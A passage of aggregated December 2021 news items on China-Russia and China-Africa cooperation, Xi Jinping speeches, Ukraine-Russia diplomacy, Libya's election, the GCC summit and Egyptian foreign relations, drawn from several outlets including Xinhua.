Tianwan nuclear power plant and the No. 3 and No. 4 units of the Xudapu nuclear power plant started construction in May, which are the biggest China-Russia joint project in the field of nuclear energy. A joint military exercise between China and Russia, named ZAPAD/INTERACTION-2021, was carried out in northwest China. The two navies conducted their first joint maritime cruise, and the two air forces carried out their third joint strategic aerial patrol. The two militaries strengthened coordination via participating in the "Peace Mission 2021" counter-terrorism military drill of the Shanghai Cooperation Organization member states and the International Army Games 2021. As comprehensive strategic partners of coordination for a new era, China and Russia firmly support each other on major issues concerning each other's core interests, coordinate closely on international affairs, and play a pivotal role in maintaining global peace and stability, Chinese Ambassador to Russia Zhang Hanhui has said. On November 19, Xi Jinping, General Secretary of the CPC Central Committee, addressed the third symposium on the Belt and Road initiative and proposed new thoughts on further development of the initiative considering the new changes in the international landscape. New Circumstances, New Strategy Peace and development remain the theme of our time. Globalization still maintains momentum. Over the past eight years, nearly 80% of the countries with which China has established diplomatic relations have joined the Belt and Road initiative. This shows that the Belt and Road has been supported and accepted by most countries in the world and that the achievements of the initiative have been widely recognized. There are some setbacks in the international landscape. The COVID-19 pandemic has impacted some BRI projects in the short term. Some countries stigmatize the Belt and Road initiative and try to undermine it. The challenge of climate change requires all countries to make adjustments in BRI projects. The complicated international landscape has added more uncertainty to the Belt and Road initiative. Seize Opportunity, Explore New Areas Xi raised the new requirements for expanding cooperation areas and fostering new growth points for cooperation in terms of pandemic control, renewable energy, ecological protection, climate change, as well as digital and technological cooperation. Some enterprises need to improve their previous plans, create new projects, adjust the direction and scale of their projects, which will help enterprises not only seize new opportunities and facilitate development, but also take on their social responsibilities and make contributions to the 2030 Agenda for Sustainable Development. Coordination and Progress Xis remarks feature his thought on coordination: coordination between development and security, domestic and international situations, cooperation and conflicts, stocks and increments, the whole picture and key points, in response to the increasingly complicated international landscape. Xis remarks feature his thought on progress in terms of connectivity, new cooperation, Belt and Road development, new development landscape, dual circulation, potential risk prevention, implementation at central, ministerial, municipal, and other local levels. Risk Control and Higher Efficiency Xi attached great importance to potential risks and proposed effective measures to prevent them. Xi proposed to establish relevant accountability mechanisms, 24-hour risk assessment service platform, and coordinated security mechanisms used to protect overseas interests and counter terrorism, draw up coordinated plans for BRI development and pandemic control, offer guidance in observing local law and customs for overseas staff and citizens, and enhance legal business operation and cross-border anti-corruption efforts. Xis requirements for risk control have developed into a network for risk prevention and control and summarized his systematic thoughts on risk prevention. This shows that risk prevention is an important part to push the development of the Belt and Road initiative to a higher level. Contributed by Professor Hu Biliang, Executive Director of the Belt and Road School, Beijing Normal University Translated by Wu Zidan Editor: Zhang Zhou Ahead of the the Eighth Ministerial Conference of the Forum on China-Africa Cooperation (FOCAC), China's State Council Information Office issued a white paper titled "China and Africa in the New Era: A Partnership of Equals" on November 26. The white paper documented fruitful results that China-Africa cooperation has delivered and in the new era and provided a perspective on future cooperation between the two sides. Here are the highlights of the forth section Breaking New Ground in China-Africa Relations. Covid-19 further shows that the fates of all countries in the world are interconnected, said the white paper, noting that China and Africa need to further consolidate their partnership, and build a China-Africa community of shared future in the new era. -Boosting Cooperation Through FOCAC During the upcoming FOCAC, China will work closely with Africa to align Chinas Second Centenary Goal of building a great modern socialist country by the middle of the century with the AUs Agenda 2063. Together the two sides will plan and discuss the outcomes to be adopted at this FOCAC meeting regarding such key areas as health, investment and trade, industrialization, agricultural modernization, climate change responses and digital economy, and both will make every effort to produce a meeting that will build new consensus, explore new fields of cooperation, and be of benefit to both the Chinese and African peoples. -Promoting Cooperation under the Belt and Road Initiative Currently, both China and Africa have entered a new stage of development. China is promoting a new development paradigm with domestic economy and international engagement providing mutual reinforcement, and the former as the mainstay. Chinas development will create more opportunities for Africas development. With the official launch of the African Continental Free Trade Area, Africas economic integration is accelerating, providing more room for growth in China-Africa cooperation. The two sides will focus on boosting quality development and further align the goals of the Belt and Road Initiative with those of the AUs Agenda 2063, the UN 2030 Agenda for Sustainable Development and the development strategies of individual African countries. They will build the Belt and Road into a road to peace, prosperity, openness, green development, innovation and cultural exchanges, and create a China-Africa community of shared future in the new era. -Raising China-Africa Relations to a New Level The key to the vitality of China-Africa relations is keeping abreast of the times and developing and innovating relationships. For more than half a century, at every critical juncture, the two sides have employed far-sighted vision and always succeeded in finding new common ground and growth drivers. Under the guidance of Xi Jinping Thought on Socialism with Chinese Characteristics for a New Era and Xi Jinping Thought on Foreign Affairs, China will adhere to the principles of sincerity, affinity, good faith and practical results, uphold the values of shared interests and the greater good, and work together with African countries to advance high-quality cooperation and build a China-Africa community of shared future. China will work closely with Africa to raise mutual political trust to a new level, combat Covid-19 and build a China-Africa community of health for all, boost common development and nurture new drivers for expanding mutually beneficial cooperation, and promote closer international cooperation to establish a fairer and more equitable international order. Editor: GSY Chinese President Xi Jinping, also general secretary of the Communist Party of China Central Committee and chairman of the Central Military Commission, delivers an important speech at the opening ceremony of the 11th National Congress of China Federation of Literary and Art Circles and the 10th National Congress of China Writers Association at the Great Hall of the People in Beijing, capital of China, Dec. 14, 2021. (Xinhua/Rao Aimin) BEIJING, Dec. 14 (Xinhua) -- Chinese President Xi Jinping on Tuesday called on Chinese artists and writers to boost their awareness of and confidence in Chinese culture, create new prospects for Chinese literature and art, and add new luster to Chinese culture. Xi, also general secretary of the Communist Party of China (CPC) Central Committee and chairman of the Central Military Commission, made the remarks at the opening ceremony of the 11th National Congress of China Federation of Literary and Art Circles and the 10th National Congress of China Writers Association. Over the past 100 years, the Party has led the literary and art front to blaze a path of development that is guided by Marxism, suited to China's national conditions and cultural traditions, and holds high the people-centered nature, Xi said. Noting that contemporary China has great prospects, Xi said this era has provided an unprecedented broad stage for literature and art to bloom. He urged people of the sector to shoulder the responsibility to develop a great socialist culture in China, saying that they can accomplish a great deal. Xi said those on the literary and art front should adhere to serving the people and socialism, follow the policy of "letting a hundred flowers bloom and a hundred schools of thought contend," push for creative transformation and development, and rise up to their tasks and missions. All these efforts will help present a new look of China's literature and art and add new luster to Chinese culture, thus contributing to realizing the Chinese Dream of national rejuvenation, Xi added. Also attending Tuesday's meeting were Li Keqiang, Li Zhanshu, Wang Yang, Wang Huning, Zhao Leji, and Han Zheng, who are all members of the Standing Committee of the Political Bureau of the CPC Central Committee. On behalf of the CPC Central Committee, Xi extended greetings to representatives at the meeting as well as all writers and artists across the country. Since the 18th National Congress of the CPC in 2012, China's literature and art have been flourishing with great diversity and full vigor, Xi said, taking note of progress in the spheres of literature, drama, film, television, music, dance, fine arts, photography, calligraphy, folk art, acrobatics, literary criticism, mass art, and art education. He expressed his hope that the writers and artists will bear in mind the national rejuvenation and the people, make innovations on the basis of tradition, better tell China's stories to the world, and stick to both moral integrity and artistic competence. Xi pointed out that artists and writers should firmly grasp the contemporary theme of national rejuvenation and closely integrate the pursuit of their artistic life with the future of China, the destiny of the Chinese nation and the aspirations of the Chinese people. Artists and writers must promote a national spirit that is based on patriotism and a contemporary spirit that is based on reform and innovation, Xi said. He said the fundamental position of socialist literature and art is from the people, for the people and of the people. This is also the driving force for the prosperity of socialist literature and art, Xi added. Xi said writers and artists should take a people-centered approach and produce more works that meet the people's cultural needs and enhance people's spiritual strength. He said writers and artists should not only let the people play the lead in their works, but also integrate their ideological tendencies and emotions with the people. Noting that the value of writers and artists is represented by their creations, Xi called on Chinese writers and artists to strengthen their efforts in producing high-quality literary and artistic works. He urged blending the values of Chinese culture with artistic creativity and combining the Chinese and contemporary aesthetics to revitalize Chinese culture. Regarding the relationship between inheritance and innovation, Xi said that fine traditional Chinese culture can become an important source of inspiration for literary and artistic innovation. Stressing that contemporary Chinese literature and art should look beyond China, Xi called for producing literary and artistic works that convey modern Chinese values and notions and also reflect the common values and pursuits of all humanity. He urged the creation of more globally recognizable cultural images of China that can help present a lively and multi-dimensional China for the world. Xi highlighted the importance of preserving the stance of Chinese culture and establishing a distinctive Chinese style and demeanor in world literature and art. Literature and art should be down-to-earth, centered around life, be innovative and pursue economic returns, but should not be vulgar, spread unhealthy influence, be grotesque or succumb to the market, Xi said. Those working in literature and art should treasure their social influence, because if they misbehave, they will not be accepted by the people and will be against the times, he said, demanding that they nourish integrity and promote truthfulness, kindness and beauty, and speak against hypocrisy, villainy and ugliness. Xi noted that to make socialist literature and art prosper, literature and art workers who are patriotic and eager to contribute should be widely united under the leadership of the Party. He called for more guidance for new forms of literary and art organizations and groups, more support for grassroots literature and art workers, and more encouragement for the younger generation, so as to produce more contemporary Chinese writers and artists, and make the Chinese literature and art circle star-studded. Around 3,000 people attended Tuesday's meeting. Xi Jinping, Li Keqiang, Li Zhanshu, Wang Yang, Wang Huning, Zhao Leji and Han Zheng attend the opening ceremony of the 11th National Congress of China Federation of Literary and Art Circles and the 10th National Congress of China Writers Association at the Great Hall of the People in Beijing, capital of China, Dec. 14, 2021. (Xinhua/Li Xueren) The 11th National Congress of China Federation of Literary and Art Circles and the 10th National Congress of China Writers Association open at the Great Hall of the People in Beijing, capital of China, Dec. 14, 2021. (Xinhua/Rao Aimin) Editor: WXY BEIJING, Dec. 14 (Xinhua) -- The Chinese Academy of Engineering (CAE) released on Tuesday a report examining the global frontiers of engineering science and technology. The annual report, titled Engineering Fronts in 2021, deals with nine engineering fields, including mechanical and vehicle engineering, information and electronic engineering, energy and mining engineering, agriculture, and medicine and health. It identifies 93 engineering research frontiers and 93 engineering development frontiers, among which 28 key engineering research frontiers and 28 key engineering development frontiers have been selected for detailed interpretation, including national layout and cooperation trends. The report selects several emerging research areas, such as 3D printing, quantum intelligent algorithms, artificial intelligence-enabled system engineering and mRNA-based therapeutics. Calculated by the core papers output in the past six years, China came out on top in multiple areas including the unmanned underwater vehicle, in-memory computing technology for intelligent computing, and high-resolution millimeter-wave radar 4D imaging technology, according to the report. Jeremy Lawson, a senior commercial executive at Clarivate, a global analytics firm and co-publisher of the report, said at the press conference that the fruits of this report will "enable the global research community to better turn scientific discoveries into the innovative technologies of tomorrow." Editor: WXY A chef makes food during the Food Africa exhibition in Cairo, Egypt, on Dec. 13, 2021. The sixth edition of Food Africa, a major international exhibition for the agro-food industry in the African region, opened on Monday in Egypt's capital Cairo, attracting over 400 exhibitors from various countries. (Xinhua/Ahmed Gomaa) CAIRO, Dec. 13 (Xinhua) -- The sixth edition of Food Africa, a major international exhibition for the agro-food industry in the African region, opened on Monday in Egypt's capital Cairo, attracting over 400 exhibitors from various countries. Held at the International Exhibition Center, the three-day fair is expected to welcome some 21,000 professionals seeking business opportunities. "The exhibition is a promising platform where we can meet new customers from different countries ... It helps us find new markets outside Egypt," Mahmoud Shabana, director of exports at an Egyptian tea company, told Xinhua. "The expo also helps us build relationships with public and private entities to expand our business, exchange experiences and share know-how with industry stakeholders as well as connecting with new and existing suppliers and dealers," he added. The exhibition also includes the Hosted Buyers Program, a platform meant to facilitate B2B business undertakings and maximize return on investment for participants. Last year, the program presented industry professionals the opportunity to meet with 476 selected buyers from Egypt and the region. For buyers seeking business opportunities, the fair allows them to source new goods and product lines from exhibitors on the spot and helps them negotiate contracts and sign agency and distribution agreements. "The exhibition and the program help us learn about the latest innovations, network at an array of events and benefit from pre-scheduled meetings with exhibitors of our choice," Ahmed Abdel-Gawwad, owner of an Egyptian food distribution company, told Xinhua. Saad al-Zoghby from a local beverage company, said he visited the fair to explore the wide selection of food and speciality products from local, regional, and international suppliers. "It is a major exhibition and I am always keen to visit it ... I can find most of the companies working in the food industry at one place which makes it easier for me to sort and select the items I want to buy," he added. People visit the Food Africa exhibition in Cairo, Egypt, on Dec. 13, 2021. The sixth edition of Food Africa, a major international exhibition for the agro-food industry in the African region, opened on Monday in Egypt's capital Cairo, attracting over 400 exhibitors from various countries. (Xinhua/Ahmed Gomaa) An exhibitor shows dessert during the Food Africa exhibition in Cairo, Egypt, on Dec. 13, 2021. The sixth edition of Food Africa, a major international exhibition for the agro-food industry in the African region, opened on Monday in Egypt's capital Cairo, attracting over 400 exhibitors from various countries. (Xinhua/Ahmed Gomaa) Visitors taste food during the Food Africa exhibition in Cairo, Egypt, on Dec. 13, 2021. The sixth edition of Food Africa, a major international exhibition for the agro-food industry in the African region, opened on Monday in Egypt's capital Cairo, attracting over 400 exhibitors from various countries. (Xinhua/Ahmed Gomaa) People visit a kitchen food booth during the Food Africa exhibition in Cairo, Egypt, on Dec. 13, 2021. The sixth edition of Food Africa, a major international exhibition for the agro-food industry in the African region, opened on Monday in Egypt's capital Cairo, attracting over 400 exhibitors from various countries. (Xinhua/Ahmed Gomaa) An exhibitor shows bread during the Food Africa exhibition in Cairo, Egypt, on Dec. 13, 2021. The sixth edition of Food Africa, a major international exhibition for the agro-food industry in the African region, opened on Monday in Egypt's capital Cairo, attracting over 400 exhibitors from various countries. (Xinhua/Ahmed Gomaa) Editor: ZAD HONG KONG, Dec. 15 (Xinhua) -- Hong Kong's Center for Health Protection (CHP) confirmed one additional case of the Omicron variant of COVID-19 on Wednesday. In an update on the latest investigations on an imported case announced on Tuesday, the CHP said the Omicron case involved a 21-year-old female patient who arrived in Hong Kong from the United States on Dec. 12. So far, nine cases involving Omicron have been detected in Hong Kong. They were all detected at the Hong Kong International Airport restricted area, at a designated quarantine facility or at a designated quarantine hotel, and there has not been any spread in the community, according to the CHP. The CHP also reported one additional imported case of COVID-19 on Wednesday, taking the total tally of confirmed cases in the financial hub to 12,496. A total of 59 cases have been reported in the past 14 days and all were imported, according to the CHP. Since the launch of the government inoculation program in late February, around 4.81 million people, or 71.5 percent of the eligible population, have taken at least one shot of the vaccine, while around 4.58 million, or 68.1 percent, are fully vaccinated. Meanwhile, a total of 273,854 people have taken the booster shot in Hong Kong as of 7:00 p.m. local time Tuesday. Editor: WPY The U.S. authorities consider it a positive development that in connection with the situation around Ukraine, the diplomatic process continues with the participation of the Russian Federation, European countries and Kyiv, White House spokeswoman Jen Psaki said on Tuesday. "It is a good sign that there are diplomatic engagements and discussions that are continuing, including with Russian leaders and officials, Ukrainians, and our European partners," she said a briefing. Answering a question about the prospects for de-escalation of the situation on the Russian-Ukrainian border, Psaki said that the United States is monitoring the situation in the region, but at the moment she has no new information on this matter. EU can expand existing sanctions in relation to Russia if its aggression against Ukraine continues President of the European Commission (EC) Ursula von der Leyen says that, if necessary, the EU will expand or adopt additional sanctions against the Russian Federation in connection with the aggression against Ukraine. "The EU fully supports Ukraine in the face of the Russian aggression. Any further aggressive acts against Ukraine will have massive costs for Russia. We can scale up and expand existing sanctions or adopt additional ones, if needed," she wrote on Twitter Wednesday morning. As reported, on Wednesday, December 15, the Eastern Partnership summit will be held in Brussels with the participation of the leaders of the EU and EU member states. President of Ukraine Volodymyr Zelensky will pay a working visit to Brussels on December 15-16 to participate in the summit. Also, as part of his visit to Brussels, Zelensky will hold a number of bilateral meetings with leaders of the EU member states and partner countries, the EU leadership and the NATO Secretary General. As early as the beginning of the 2022 academic year (August-September), cadets of the Kyiv Institute of the National Guard of Ukraine are scheduled to begin training in a promising military education system adopted in NATO member states, the press service of the National Guard said on Wednesday. "The main difference between the approaches of this education and the one available in Ukraine is the correlation with the career of an officer, when obtaining a higher rank and appointment to a higher position is preceded by a mandatory increase in the level of military education," the National Guard said on its website. This was agreed upon by the participants of the multilateral meeting at the Main Directorate of the National Guard of Ukraine. Representatives of the Doctrine and Education Advisory Group (DEAG), led by Lt. Col. Robert Nesbit, and the Joint Operational and Tactical Group of the Armed Forces of Canada in Ukraine (Operation UNIFIER) spoke about the understanding of the concepts and features of the L-system of military professional education in the United States and Canada under the direction of Pierre-Luc Laroschel. "The format of professional military education involves first training in professional courses L-1A, L-1B (platoon) and L-1C (company) tactical level, then - command and staff courses L-2 (battalion-brigade), then - on the course L-3 for officers of the joint staffs of the operational level in the ranks of lieutenant colonel-colonel and course L-4 of senior management of the strategic level (colonel-general)," the National Guard said. They said that today Ukrainian military are focusing on the practical implementation of the pilot course of professional military education level L-1A and L-1B at the Kyiv Institute of NMU. "We know the realities of Ukrainian legislation and that there are differences in approaches to curriculum development in different countries of the North Atlantic Alliance. We need to find the main and common in these approaches and adapt this system to Ukrainian realities. Today we are focusing on the tactical level of education, which corresponds to the bachelor's degree," said Colonel Volodymyr Hrabchak, Head of the International Cooperation Department of the NMU Main Directorate. In their turn, foreign advisers not only explained how L-courses have been implemented in their curricula, but also told stories from their own experience: what are the advantages of such a system and how such multilevel education and certain strict rules for selecting candidates justify itself in the long run . "Following the meeting, the parties agreed to establish a working group and cooperate in developing a curriculum for the Kyiv Institute of NMU and the next meeting at the university," the National Guard said. NATO Secretary General Jens Stoltenberg has announced the right of Georgia and Ukraine to independently choose their allies, noted that the Alliance will monitor the situation in Ukraine. "Georgia and Ukraine have the right to choose their own alliances, and Russia has no right to dictate that choice," Stoltenberg said at a joint briefing with Georgian Prime Minister Irakli Garibashvili in Brussels on Wednesday. "Today we discussed the security situation in the region, including Russia's military buildup in and around Ukraine, and its destabilizing activity in the Black Sea region. We agree on the need to remain vigilant and avoid escalation. Any future Russian aggression would come at a high price and have serious political and economic consequences for Russia," Stoltenberg said. He also said that all NATO member states firmly affirm the steadfastness of Georgia's sovereignty and territorial integrity and call on Russia to withdraw its recognition of Abkhazia and South Ossetia as independent states and withdraw its troops from there. "NATO will continue to provide strong political and practical support to its partners," he said. A Berlin court has ruled to sentence a Russian citizen charged with the 2019 murder in Tiergarten Park to life, an Interfax correspondent has reported from the courtroom. "The defendant has been found guilty," Judge Olaf Arnoldi said when pronouncing the sentence. The judge said the defendant was sentenced to life in prison. The sentence is being handed down at the Berlin Regional Court (Landgericht Berlin), and the defendant is a 56-year-old Russian citizen. German law enforcement agencies have determined that the Russian arrived in Berlin with fake documents and gunned down Zelimkhan Khangoshvili, a 40-year-old citizen of Georgia, at Kleiner Tiergarten Park on August 23, 2019. The sign indicating the room where the trial is taking place shows the defendant's name as Krasikov, while Der Spiegel has reported that the man identified himself in his visa application as Vadim Andreevich Sokolov. During his working visit to Brussels, President of Ukraine Volodymyr Zelensky met with President of the Republic of Azerbaijan Ilham Aliyev, during which they discussed issues of enhancing bilateral cooperation between the countries, the press service of the Ukrainian leader has said on Wednesday. It is noted that Zelensky thanked Aliyev for supporting the sovereignty and territorial integrity of Ukraine and appealed for the possibility of Azerbaijan joining the process of releasing illegally detained persons. "The issue of the release of Ukrainian citizens, especially Crimean Tatars, illegally detained in Russia, is one of my key priorities. I would be grateful for your possible help in promoting this issue," Zelensky said. He also noted the intensification of bilateral cooperation between the countries due to the agreements reached during his visit to Azerbaijan in December 2019. "The head of the Ukrainian state said that in February 2022, the 30th anniversary of the establishment of diplomatic relations between Ukraine and Azerbaijan and Turkey will be celebrated. Taking this into account, the president proposed to hold a summit in Kyiv on February with the participation of the leaders of the three states," the President's Office said in the statement. Zelensky also focused on the transport and logistics potential of cooperation between the countries, in particular, on the need to intensify work to implement the transit of goods along the Europe-Caucasus-Asia route using rail and sea transport. "The President of Ukraine recalled the positive experience of cooperation between our state and Azerbaijani companies in the construction of roads and transport interchanges within the Big Construction national program," the President's Office said. President of Ukraine Volodymyr Zelensky met with President of France Emmanuel Macron in Brussels. "Discussed the issue of Ukraine-France cooperation with Emmanuel Macron. I hope that France's presidency of the European Council will pay special attention to Ukraine's security and countering hybrid aggression of Russia in Europe," Zelensky said on Twitter. Zelensky also released a photo of the bilateral meeting with Macron. Separately, the sides discussed the further Euro-Atlantic integration of Ukraine, including the course of joining NATO, the Ukrainian President's Office press service said. "The leaders coordinated their positions on the implementation of Ukraine's Euro-Atlantic aspirations. The head of state said that Ukraine's course towards NATO membership remains unchanged, and support for this course in Ukrainian society continues to grow," the President's Office said. The presidents also discussed the implementation of intergovernmental agreements on joint economic projects, which were reached with the support of the heads of the two states. President of Ukraine Volodymyr Zelensky discussed with French President Emmanuel Macron and German Chancellor Olaf Scholz further work within the Normandy format. "During the meeting with Emmanuel Macron and Olaf Scholz, thanked for their strong support for Ukraine against the background of the military threat of Russia, as well as for the consistent position of Germany and France in the Normandy format. Confirmed willingness to continue our work," Zelensky said on Twitter. According to the Ukrainian presidential press service, the sides agreed on the need to continue active work in the Normandy format and ensure the implementation of the decisions taken by the four sides at the summit in Paris on December 9, 2019. Zelensky said this applies, first of all, to such urgent measures to stabilize the situation in the conflict area, such as ensuring compliance with the ceasefire, the mutual release of detainees and the opening of two new entry-exit checkpoints. "Volodymyr Zelensky, Olaf Scholz and Emmanuel Macron agreed to make every effort to achieve real progress in stabilizing the situation in Donbas and called on the Russian side to resume constructive work for this in the Normandy format," the office said. Zelensky said that Ukraine is not subject to any provocations on the border, does not have any aggressive intentions towards other parties and remains committed to diplomatic means of resolving the situation. "I expect that Russian troops and weapons will be withdrawn from the borders of Ukraine as soon as possible. So far, despite continuing diplomatic efforts, they remain at our borders," he said. As reported, Zelensky previously held bilateral meetings with Macron and Scholz. Israel's experience in gas production and export is very interesting for Ukraine The Ambassador The Israeli experience in the production and export of its own gas is very interesting for Ukraine, given the issues of energy security of our state. The Ambassador of Ukraine to the State of Israel Yevgeny Korniychuk stated this during the Ukrainian Israeli Innovation Summit 2021, an Ukrinform correspondent reports. A new trend, in my opinion, will be the development and study of energy, since not everyone knows that Israel, as a country that has been buying oil and gas for many years, is now exporting gas to Arab countries, in particular, to Egypt and Jordan, producing its own gas. on the continental shelf of the Mediterranean Sea, - he said. Korniychuk stressed that this experience is very interesting for us in terms of further promoting Ukraine's energy security. As reported, President of Ukraine Volodymyr Zelensky, at the invitation of Israeli President Yitzhak Herzog, plans to visit Israel next year. More than six million people in drought-hit areas of eastern and southern Ethiopia will need "life-saving" assistance this year, the UN's emergency response agency said in a new report. France reported a record-smashing 271,686 daily virus cases Tuesday as Omicron infections race across the country, burdening hospital staff and threatening to disrupt transport, schools, and other services. Libya is meant to elect its president in 10 days, but in a war-torn country riven by caustic feuds and institutional divisions, few believe polling will even go ahead. The vote was to be the culmination of a United Nations-led process aimed at turning the page on the violence that has wracked Libya since the revolt that toppled and killed dictator Moamer Gaddafi in 2011. But with question marks hanging over the election, the security situation and the credibility of the process, what comes next? Will the vote happen? The presidential election set for a week on Friday is far from certain to go ahead, partly because of bitter wrangling over the legal basis for the vote. Aguilah Saleh, the speaker of Libya's eastern-based parliament, unilaterally passed a law in September that allows his ally Khalifa Haftar to run for the top job. Haftar is despised in western Libya after a year-long assault on the capital Tripoli in 2019-20, but his forces control much of the country's east and south. The law also says there should be two weeks between the publication of the final list of candidates and the vote itself. But on Saturday the elections authority delayed announcing the list, making it even less likely the vote will take place on time. What about the security situation? Analysts have warned that the conditions are not in place for a free and fair vote across Libya. And despite a year-long ceasefire, several security incidents and movements of forces have raised fears of a return to conflict. In recent weeks, armed men blocked access to a court in Sebha that was examining an appeal against the electoral commission which had rejected the application of Seif al-Islam Gaddafi. They finally withdrew and the court restored his candidacy, but the incident sparked expressions of concern from the interim government and the UN. Interior Minister Khaled Mazen later warned that the interim government could not guarantee security at polling stations. Haftar has been accused of seeking to create a military dictatorship, and few believe residents of eastern Libya will be able to safely vote against him. "The minimum threshold of infrastructure and safety requirements for a free and fair election are not in place at this point," said Amanda Kadlec, former member of a UN panel of experts on Libya. Moreover, the ballot has already been marred by accusations of fraud. Some voters have complained on social media that they have gone to collect their voter registration cards, only to find that they have already been collected. Will the results be accepted? If the polls do go ahead, there is no guarantee all sides will accept the result. Rivals of each of the three perceived front runners have cast doubts over their candidacies -- and each has armed forces who back their claims. Few in western Libya would accept a Haftar victory. Seif al-Islam Gaddafi is wanted by the International Criminal Court for suspected crimes against humanity and his candidacy has been contested in Libyan courts for similar reasons. And before he was appointed interim premier, Abdulhamid Dbeibah had committed not to run -- before finally throwing his hat into the ring after a string of populist moves. What challenges will the next government face? Any government resulting from the elections will face colossal challenges after four decades of dictatorship and a decade of war. A key test will be whether they can reunite state institutions, including the central bank, which split in 2014 as a rival administration took power in eastern Libya. Unifying or disbanding armed forces that were fighting each other until mid-2020 will also pose complex challenges -- especially as some 20,000 foreign fighters remain on Libyan soil. Drawing up a constitution will also be priority: Libya has been without one since Gaddafi scrapped the last one in 1969, and the lack of such a document has been at the heart of disputes over the current electoral process. For ordinary Libyans, the priorities are more mundane: security, revival of the moribund economy, reconstruction of war-ravaged infrastructure and an end to interminable power cuts. Key to Libya's relations with European powers will be the subject of sub-Saharan African migrants, tens of thousands of whom try to use the country as a launch pad for desperate bids to reach Europe. Many face horrific abuses at the hands of people traffickers -- and human rights groups say the European Union bears responsibility for many violations. Search Keywords: Short link: Member states of the Gulf Cooperation Council (GCC) affirmed the importance of the accurate and continuous implementation of the vision of Saudi King Salman bin Abdulaziz Al Saud and the completion of the components of economic unity as well as the joint defence and security system to enhance the solidarity and stability of GCC countries. On Tuesday evening, the committee of the 42nd summit of GCC countries, convening in Riyadh, affirmed its adherence to Article 2 of the Joint Defence Agreement, which states that GCC member states consider any attack against a GCC state an attack on all of them. They asserted the GCC member states' commitment to collective action against all threats and challenges. GCC leaders stressed the importance of concerted efforts to coordinate and integrate the foreign policies of member states to crystallise a unified and effective foreign policy that serves the aspirations of the peoples of GCC countries. They affirmed the necessity of enhancing cooperation and coordinating plans aimed at achieving sustainability and dealing with climate change and its effects and promoting joint action among GCC countries to implement the circular carbon economy approach which was launched by Saudi Arabia during its presidency of the G20. The leaders stressed the need for continued cooperation in the fight against COVID-19 and other pandemics and developing effective policies and strategies to deal with health emergencies and address their economic and social repercussions as well as travel and movement between GCC member states. The GCC members emphasised the importance of enhancing joint action towards digital transformation and modern technologies, boosting cooperation and building alliances in the field of cyber and information security in line with the aspirations of GCC member states, supporting the role of youth, the private sector, and small and medium-sized enterprises in the growth of economic diversification and digital transformation, and encouraging partnerships, projects, and initiatives in this field. In addition, the council affirmed the completion of the remaining steps for the establishment of the customs union and the full implementation of the tracks of the Gulf common market, leading to economic unity among GCC states by 2025. The council noted its respect for the principles of sovereignty and non-intervention in other countries internal affairs. It also renewed its firm stance regarding the rejection of terrorism and extremism. The council rejected the continued Iranian interference in the internal affairs of GCC countries and in the region, stressing the need to stop supporting and financing terrorist groups and organisations that fuel these conflicts. The council said it supports the legitimate government in Yemen, represented by President Abd Rabbu Mansour Hadi, to end the Yemeni crisis and reach a political solution. The council finally welcomed holding its 43rd session under Omans presidency. Search Keywords: Short link: The World Youth Forum (WYF) announced on Wednesday the extension of the registration period for the participation in its fourth until the end of the week, instead of 15 December. The online registration for the fourth edition of the WYF started on the official website for youths of different genders, aged 18-30, on 15 November. Due to the youths high demand to take part in the fourth edition, the WYF decided to give the opportunity for more young people to participate by extending the registration period, a statement by the WYF read on Wednesday. The WYF will be held from 10 to 13 January 2022 in Sharm El-Sheikh under the patronage of Egypts President Abdel-Fattah El-Sisi. On Sunday, the forum announced its agenda for events and activities of the fourth edition, including the Start-up Vein, WYF Labs, and World Youth Theatre. The fourth edition of the forum comes after the postponement of the 2020 edition due to the coronavirus pandemic. The main themes of the fourth edition of the forum are post-COVID impacts, climate change, social security, human rights, entrepreneurship, technology, 5G networks, digital transformation, distance learning, the environment, and the future of energy, according to the official website of the WYF. The WYF is attended by a wide range of participants, including and not limited to heads of state and government, international young leaders, inspiring youths in various fields, prominent international figures, and youth groups from around the world. Over 15,000 people from over 160 countries took part in the last three editions of the forum. The United Nations Commission for Social Development has recognised the three previous editions of the World Youth Forum in Egypt as an international platform for discussing youth issues, according to the WYF statement. The WYF is an annual event first launched in 2017 to bring together the worlds youth to promote dialogue and discuss development issues. Search Keywords: Short link: Egypt and global Norwegian renewable energy producer Scatec have discussed cooperation opportunities in the field of new and renewable energy and localising the technology for water desalination, the presidency said in a statement. In a meeting with Scatec CEO Raymond Carlsen at the Egyptian presidential palace in Cairo on Wednesday, President Abdel-Fattah El-Sisi expressed Egypt's interest in cooperating with Norway in new and renewable energy projects due to the Norwegian sides expertise in this field. El-Sisi said that any future cooperation projects between Egypt and Norway should include establishing technical training centres for building capabilities in operation and maintenance. Today's talks are part of the national strategy for generating clean energy and diversifying energy sources, the presidency statement said. Carlsen that said Egypt enjoys a good reputation regionally for its efforts in preserving the environment and relying on new and renewable energy sources, which culminated in Egypt hosting the UN Climate Change Conference 2022 (COP 27) in November 2022 in Sharm El-Sheikh. Egypt has advanced from 26th place in 2020 to the 20th among the worlds top 40 markets in the Renewable Energy Country Attractiveness Index for 2021. Under its 2030 vision, Egypt plans to increase the supply of electricity generated from renewable sources to 20 percent by 2022 and up to 42 percent by 2035, with wind providing 14 percent, hydropower 2 percent, photovoltaic power 22 percent, and concentrated solar power 3 percent by 2035. Additionally, Cairo is working on a host of projects to preserve the environment by making use of the countrys plentiful natural gas production. Including the Go Green initiative, Egypt has been exerting constant efforts to create and develop an environment-friendly industry by localising modern industrial technologies and creating professional technical cadres to fight pollution and reduce harmful emissions. Search Keywords: Short link: Kuwait's Foreign Minister Ahmed Naser Al-Sabah has hailed the historic, brotherly, and well-entrenched relations with Egypt. In a virtual speech during a celebration held on Tuesday by the Kuwaiti Embassy in Cairo marking the 60th anniversary of Egyptian-Kuwaiti diplomatic ties, Al-Sabah stressed that bilateral relations between Egypt and Kuwait date back to the 19th century. Kuwait's top diplomat recalled the Egyptian contribution to education, art, and culture in the Gulf country, Kuwaiti state news agency Kuna reported. The FM also underlined the sacrifices Egypt and Kuwait have made to defend one another, highlighting the Kuwaiti contributions to liberating Egyptian lands in the 1967 and 1973 wars, and Egypts participation in the Kuwait liberation war 30 years ago. Since 1961, Egypt and Kuwait have signed 105 agreements, including the 1995 agreement on forming a joint committee to enhance cooperation between the two sides and promote their strategic partnership, according to Al-Sabah. On economic cooperation, Al-Sabah said that the trade exchange between the two countries stood at $364 million in 2020, while the Kuwaiti public sector's investments in Egypt amounted to $5.4 billion and the Kuwaiti private sector's investment exceeded $10 billion. In a message delivered on his behalf at the event, Egyptian Foreign Minister Sameh Shoukry said the bilateral relations between the two countries "were and will remain a unique model on all levels." Shoukry said that the Egyptian-Kuwaiti relationship reflects true 